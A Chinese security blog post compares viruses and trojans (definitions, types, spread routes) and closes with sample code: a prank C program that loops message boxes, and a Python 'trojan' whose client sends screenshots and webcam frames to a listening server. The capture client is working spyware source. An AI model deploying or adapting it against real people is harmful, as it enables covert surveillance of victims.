浅谈木马与病毒:它们究竟有何不同?
免责声明
希客安全的技术文章仅供参考,任何个人和组织在使用网络时应当遵守相关法律法规,不得利用网络从事危害国家安全、荣誉和利益的活动。未经授权,请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,希客安全及文章作者不承担任何责任。本文所提供的工具仅用于学习,禁止用于其他用途!
一、病毒
1、简介
编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机正常使用并且能够自我复制的一组计算机指令或程序代码,计算机病毒是人为制造的,有破坏性,又有传染性和潜伏性的,对计算机信息或系统起破坏作用的程序。它不是独立存在的,而是隐蔽在其他可执行的程序之中。计算机中病毒后,轻则影响机器运行速度,重则死机系统破坏;因此,病毒给用户带来很大的损失,通常情况下,我们称这种具有破坏作用的程序为计算机病毒。
2、七个阶段
开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期
3、七种特性
传染性、隐蔽性、感染性、潜伏性、可激发性、表现性、破坏性
4、类型
依附的媒体类型分类:
(1)网络病毒:
通过计算机网络感染可执行文件的计算机病毒;
(2)文件病毒:
主攻计算机内文件的病毒;
(3)引导型病毒:
是一种主攻感染驱动扇区和硬盘系统引导扇区的病毒。
计算机特定算法分类:
(1)附带型病毒:
通常附带于一个EXE文件上,其名称与EXE文件名相同,但扩展是不同的,一般不会破坏更改文件本身,但在DOS读取时首先激活的就是这类病毒;
(2)蠕虫病毒:
使用计算机网络从一个计算机存储切换到另一个计算机存储来计算网络地址来感染病毒;
(3)可变病毒:
可以自行应用复杂的算法 。
5、传播途径
通过移动设备传播:
u盘、移动硬盘、CD、软盘等;
通过网络传播:
社交软件、邮件、应用程序、源码等。
二、木马
1、简介
计算机木马(又名间谍程序)是一种后门程序,常被黑客用作控制远程计算机的工具。英文单词“Troj”,直译为“特洛伊”,木马程序是比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不刻意地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种主机的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种主机。
2、原理
木马病毒通常是基于计算机网络的,是基于客户端和服务端的通信、监控程序。客户端的程序用于黑客远程控制,可以发出控制命令,接收服务端传来的信息。服务端程序运行在被控计算机上,一般隐藏在被控计算机中,可以接收客户端发来的命令并执行,将客户端需要的信息发回,也就是常说的木马程序。
木马病毒可以发作的必要条件是客户端和服务端必须建立起网络通信,这种通信是基于IP地址和端口号的。藏匿在服务端的木马程序一旦被触发执行,就会不断将通信的IP地址和端口号发给客户端。客户端利用服务端木马程序通信的IP地址和端口号,在客户端和服务端建立起一个通信链路。客户端的黑客便可以利用这条通信链路来控制服务端的计算机。
运行在服务端的木马程序首先隐匿自己的行踪,伪装成合法的通信程序,然后采用修改系统注册表的方法设置触发条件,保证自己可以被执行,并且可以不断监视注册表中的相关内容,发现自己的注册表被删除或被修改,可以自动修复。
3、类型
(1)网游木马
通常采用记录用户键盘输入、Hook游戏进程API函数等方法获取用户的密码和帐号。窃取到的信息一般通过发送电子邮件或向远程脚本程序提交的方式发送给木马作者。
(2)网银木马
针对银行系统进行分析,攻击薄弱环节,其目的为了盗取用户的卡号、密码,甚至安全证书。
(3)下载类
从网络下载病毒程序或广告软件。
(4)代理类
用户感染代理类木马后,会在本机开启HTTP、SOCKS等代理服务功能。黑客把受感染计算机作为跳板,以被感染用户的身份进行黑客活动,达到隐藏自己的目的。
(5)通讯软件类
经过通讯软件进行传播。
(6)网页点击类
模拟用户点击。
4、特征:
(1)隐蔽性;
(2)欺骗性;
(3)顽固性。
5、传播途径:
(1)利用下载进行传播;
(2)利用系统漏洞进行传播;
(3)利用邮件、短信进行传播;
(4)利用分享链接进行传播;
(5)利用远程连接进行传播;
(6)利用网页进行传播;
(7)利用蠕虫病毒进行传播。
三、病毒的简单实现
1、无限弹框
代码如下:
#include
int main()
{
while (true)
{ if (MessageBox(NULL, "作者帅不帅", "没有标题", MB_YESNO | MB_ICONQUESTION | MB_DEFBUTTON2 ) == IDYES)
{
MessageBox(NULL, "说的没错", "没有标题", IDOK);
}
else {
MessageBox(NULL, "不,作者很帅", "没有标题", IDOK);
}
}
return 0;
}
四、木马的简单实现
1、屏幕实时监控
服务端代码如下:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :camera
@File :camera-service.py
@Author :trance
'''
import socket
import time
import cv2
import numpy
import uuid
def ReceiveVideo():
# IP地址'0.0.0.0'为等待客户端连接
address = ('0.0.0.0', 2345)
# 建立socket对象,参数意义见https://blog.csdn.net/rebelqsp/article/details/22109925
# socket.AF_INET:服务器之间网络通信
# socket.SOCK_STREAM:流式socket , for TCP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 将套接字绑定到地址, 在AF_INET下,以元组(host,port)的形式表示地址.
s.bind(address)
# 开始监听TCP传入连接。参数指定在拒绝连接之前,操作系统可以挂起的最大连接数量。该值至少为1,大部分应用程序设为5就可 以了。
s.listen(1)
def recvall(sock, count):
buf = b'' # buf是一个byte类型
while count:
# 接受TCP套接字的数据。数据以字符串形式返回,count指定要接收的最大数据量.
newbuf = sock.recv(count)
if not newbuf: return None
buf += newbuf
count -= len(newbuf)
return buf
# 接受TCP连接并返回(conn,address),其中conn是新的套接字对象,可以用来接收和发送数据。addr是连接客户端的地址。
# 没有连接则等待有连接
conn, addr = s.accept()
print('connect from:' + str(addr))
while 1:
try:
start = time.time() # 用于计算帧率信息
length = recvall(conn, 16) # 获得图片文件的长度,16代表获取长度
stringData = recvall(conn, int(length)) # 根据获得的文件长度,获取图片文件
data = numpy.frombuffer(stringData, numpy.uint8) # 将获取到的字符流数据转换成1维数组
decimg = cv2.imdecode(data, cv2.IMREAD_COLOR) # 将数组解码成图像
cv2.imwrite('{0}.jpg'.format(uuid.uuid4()), decimg)
# cv2.imshow('SERVER', decimg) # 显示图像
# 进行下一步处理
# 。
# 。
# 。
# 将帧率信息回传,主要目的是测试可以双向通信
end = time.time()
seconds = end - start
fps = 1 / seconds;
conn.send(bytes(str(int(fps)), encoding='utf-8'))
k = cv2.waitKey(10) & 0xff
if k == 27:
break
except Exception:
continue
s.close()
cv2.destroyAllWindows()
if __name__ == '__main__':
ReceiveVideo()
客户端代码如下:
'''
@Project :pythonProject
@File :camera.py
@Author :trance
'''
# 调用摄像头
import sys
import socket
import cv2
import numpy
import time
from PIL import ImageGrab
def catch():
address = ('127.0.0.1', 2345)
try:
# socket.AF_INET:服务器之间网络通信
# socket.SOCK_STREAM:流式socket , for TCP
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 开启连接
sock.connect(address)
except socket.error as msg:
print(msg)
sys.exit(1)
cap = cv2.VideoCapture(0)
# Capture frame-by-frame
# 压缩参数,后面cv2.imencode将会用到,对于jpeg来说,15代表图像质量,越高代表图像质量越好为 0-100,默认95
encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 95]
num = 1
while True:
im = ImageGrab.grab()
send_image(sock, numpy.asarray(im), encode_param)
time.sleep(60)
ret, frame = cap.read()
send_image(sock, frame, encode_param)
num += 1
if num > 5:
break
sock.close()
def send_image(sock, image, encode_param):
result, imgencode = cv2.imencode('.jpg', image, encode_param)
# 建立矩阵
data = numpy.array(imgencode)
# 将numpy矩阵转换成字符形式,以便在网络中传输
stringData = data.tostring()
# 先发送要发送的数据的长度
# ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串
sock.send(str.encode(str(len(stringData)).ljust(16)));
# 发送数据
sock.send(stringData);
receive = sock.recv(1024)
if len(receive): print(str(receive, encoding='utf-8'))
if __name__ == '__main__':
catch()
稀客原创,如有转载,请声明原文来源!!!